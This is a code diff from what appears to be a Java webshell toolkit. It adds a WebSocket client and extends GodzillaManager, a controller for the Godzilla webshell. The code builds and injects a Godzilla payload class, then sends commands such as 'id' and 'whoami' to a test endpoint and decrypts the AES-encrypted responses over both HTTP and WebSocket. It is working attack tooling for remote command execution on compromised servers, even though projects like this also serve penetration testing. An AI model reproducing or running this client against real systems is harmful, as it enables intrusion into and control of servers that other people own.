test: godzilla websocket failed

tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java

@@ -0,0 +1,116 @@
+package com.reajason.javaweb.godzilla;
+
+import lombok.SneakyThrows;
+import org.java_websocket.client.WebSocketClient;
+import org.java_websocket.handshake.ServerHandshake;
+
+import java.net.URI;
+import java.nio.ByteBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+public class BlockingJavaWebSocketClient extends WebSocketClient {
+
+    private CountDownLatch connectLatch = new CountDownLatch(1);
+    private CountDownLatch responseLatch = new CountDownLatch(1);
+    private final AtomicReference<String> responseMessage = new AtomicReference<>();
+    private final AtomicReference<byte[]> responseBytesMessage = new AtomicReference<>();
+    private volatile boolean connected = false;
+
+    public BlockingJavaWebSocketClient(URI serverUri) {
+        super(serverUri);
+    }
+
+    @Override
+    public void onOpen(ServerHandshake handshake) {
+        connected = true;
+        connectLatch.countDown();
+    }
+
+    @Override
+    public void onMessage(String message) {
+        responseMessage.set(message);
+        responseLatch.countDown();
+        close();
+    }
+
+    @Override
+    public void onMessage(ByteBuffer byteBuffer) {
+        responseBytesMessage.set(byteBuffer.array());
+        responseLatch.countDown();
+        close();
+    }
+
+    @Override
+    public void onClose(int code, String reason, boolean remote) {
+        responseLatch.countDown();
+        connectLatch.countDown();
+        connected = false;
+    }
+
+    @Override
+    public void onError(Exception ex) {
+        responseLatch.countDown();
+        connectLatch.countDown();
+        connected = false;
+    }
+
+    @SneakyThrows
+    public static String sendRequestWaitResponse(String entrypoint, String message) {
+        BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
+        return blockingJavaWebSocketClient.sendRequest(message);
+    }
+
+    @SneakyThrows
+    public static byte[] sendRequestWaitResponse(String entrypoint, ByteBuffer message) {
+        BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
+        return blockingJavaWebSocketClient.sendRequest(message);
+    }
+
+    public String sendRequest(String message) throws InterruptedException {
+        connect();
+        if (!connectLatch.await(5, TimeUnit.SECONDS)) {
+            throw new InterruptedException("Timeout during WebSocket connection.");
+        }
+        if (!connected) {
+            throw new IllegalStateException("WebSocket connection is not open.");
+        }
+
+        responseMessage.set(null);
+        connectLatch = new CountDownLatch(1);
+        responseLatch = new CountDownLatch(1);
+        send(message);
+
+        if (!responseLatch.await(5, TimeUnit.SECONDS)) {
+            throw new InterruptedException("Timeout waiting for WebSocket response.");
+        }
+        return responseMessage.get();
+    }
+
+    public byte[] sendRequest(ByteBuffer message) throws InterruptedException {
+        connect();
+        if (!connectLatch.await(5, TimeUnit.SECONDS)) {
+            throw new InterruptedException("Timeout during WebSocket connection.");
+        }
+        if (!connected) {
+            throw new IllegalStateException("WebSocket connection is not open.");
+        }
+
+        responseBytesMessage.set(null);
+        connectLatch = new CountDownLatch(1);
+        responseLatch = new CountDownLatch(1);
+        send(message);
+
+        if (!responseLatch.await(5, TimeUnit.SECONDS)) {
+            throw new InterruptedException("Timeout waiting for WebSocket response.");
+        }
+        return responseBytesMessage.get();
+    }
+
+    public static void main(String[] args) {
+        String uri = "ws://localhost:8082/app/fuck";
+        System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));
+        System.out.println("Response 2: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "whoami"));
+    }
+}

tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

@@ -17,8 +17,10 @@ import javax.crypto.Cipher;
 import javax.crypto.spec.SecretKeySpec;
 import java.io.*;
 import java.net.URLDecoder;
+import java.nio.ByteBuffer;
 import java.nio.charset.StandardCharsets;
-import java.util.*;
+import java.util.HashMap;
+import java.util.Map;
 import java.util.zip.GZIPInputStream;
 import java.util.zip.GZIPOutputStream;
 
@@ -28,26 +30,18 @@ import java.util.zip.GZIPOutputStream;
 @Getter
 @Setter
 public class GodzillaManager implements Closeable {
-    private static final List<String> CLASS_NAMES;
 
-    static {
-        InputStream classNamesStream = Objects.requireNonNull(GodzillaManager.class.getResourceAsStream("/godzillaShellClassNames.txt"));
-        CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
-    }
-
-    private final OkHttpClient client;
+    private final OkHttpClient client = new OkHttpClient.Builder().build();
     private String cookie = "";
     private String entrypoint;
     private String key;
     private String pass;
     private String md5;
     private Request request;
+    private boolean http;
+    private boolean ws;
     private Map<String, String> headers = new HashMap<>();
 
-    public GodzillaManager() {
-        this.client = new OkHttpClient.Builder().build();
-    }
-
     public static Pair<String, String> getKeyMd5(String key, String pass) {
         String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
         String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
@@ -60,7 +54,6 @@ public class GodzillaManager implements Closeable {
 
     @SneakyThrows
     public static byte[] generateGodzilla() {
-        Random random = new Random();
         try (DynamicType.Unloaded<?> make = new ByteBuddy()
                 .redefine(Payload.class)
                 .visit(TargetJreVersionVisitorWrapper.DEFAULT)
@@ -103,7 +96,7 @@ public class GodzillaManager implements Closeable {
             return responseBody;
         }
         int i = responseBody.indexOf(md5.substring(0, 16));
-        String result = responseBody.substring(i  + 16);
+        String result = responseBody.substring(i + 16);
         int lastIndex = result.indexOf(md5.substring(16));
         result = result.substring(0, lastIndex);
         byte[] bytes = Base64.decodeBase64(result);
@@ -187,37 +180,59 @@ public class GodzillaManager implements Closeable {
 
     public boolean start() {
         byte[] bytes = generateGodzilla();
-        try (Response response = post(bytes)) {
-            String setCookie = response.header("Set-Cookie");
-            if (setCookie != null && setCookie.contains("JSESSIONID=")) {
-                cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
+        if (isHttp()) {
+            try (Response response = post(bytes)) {
+                String setCookie = response.header("Set-Cookie");
+                if (setCookie != null && setCookie.contains("JSESSIONID=")) {
+                    cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
+                }
+                if (response.isSuccessful()) {
+                    return true;
+                }
+                System.out.println(response.body().string().trim());
+            } catch (IOException e) {
+                e.printStackTrace();
             }
-            if (response.isSuccessful()) {
+        }
+        if (isWs()) {
+            try {
+                BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
                 return true;
+            } catch (Exception e) {
+                e.printStackTrace();
             }
-            System.out.println(response.body().string().trim());
-        } catch (IOException e) {
-            e.printStackTrace();
         }
         return false;
     }
 
+    @SneakyThrows
     public boolean test() {
         byte[] bytes = generateMethodCallBytes("test");
-        try (Response response = post(bytes)) {
-            if (response.isSuccessful()) {
-                ResponseBody body = response.body();
-                if (body != null) {
-                    String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
-                    System.out.println(resultFromRes);
-                    return "ok".equals(resultFromRes);
+        if (isHttp()) {
+            try (Response response = post(bytes)) {
+                if (response.isSuccessful()) {
+                    ResponseBody body = response.body();
+                    if (body != null) {
+                        String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
+                        System.out.println(resultFromRes);
+                        return "ok".equals(resultFromRes);
+                    }
                 }
+                return false;
+            } catch (IOException e) {
+                e.printStackTrace();
+                return false;
             }
-            return false;
-        } catch (IOException e) {
-            e.printStackTrace();
-            return false;
         }
+
+        if (isWs()) {
+            byte[] bytes1 = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
+            byte[] x = aes(key, bytes1, false);
+            GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
+            return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
+        }
+
+        return false;
     }
 
     @Override
@@ -284,6 +299,12 @@ public class GodzillaManager implements Closeable {
             headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
             headers.putAll(this.headers);
             manager.setHeaders(headers);
+            if (entrypoint.startsWith("http")) {
+                manager.setHttp(true);
+            }
+            if (entrypoint.startsWith("ws")) {
+                manager.setWs(true);
+            }
             return manager;
         }
     }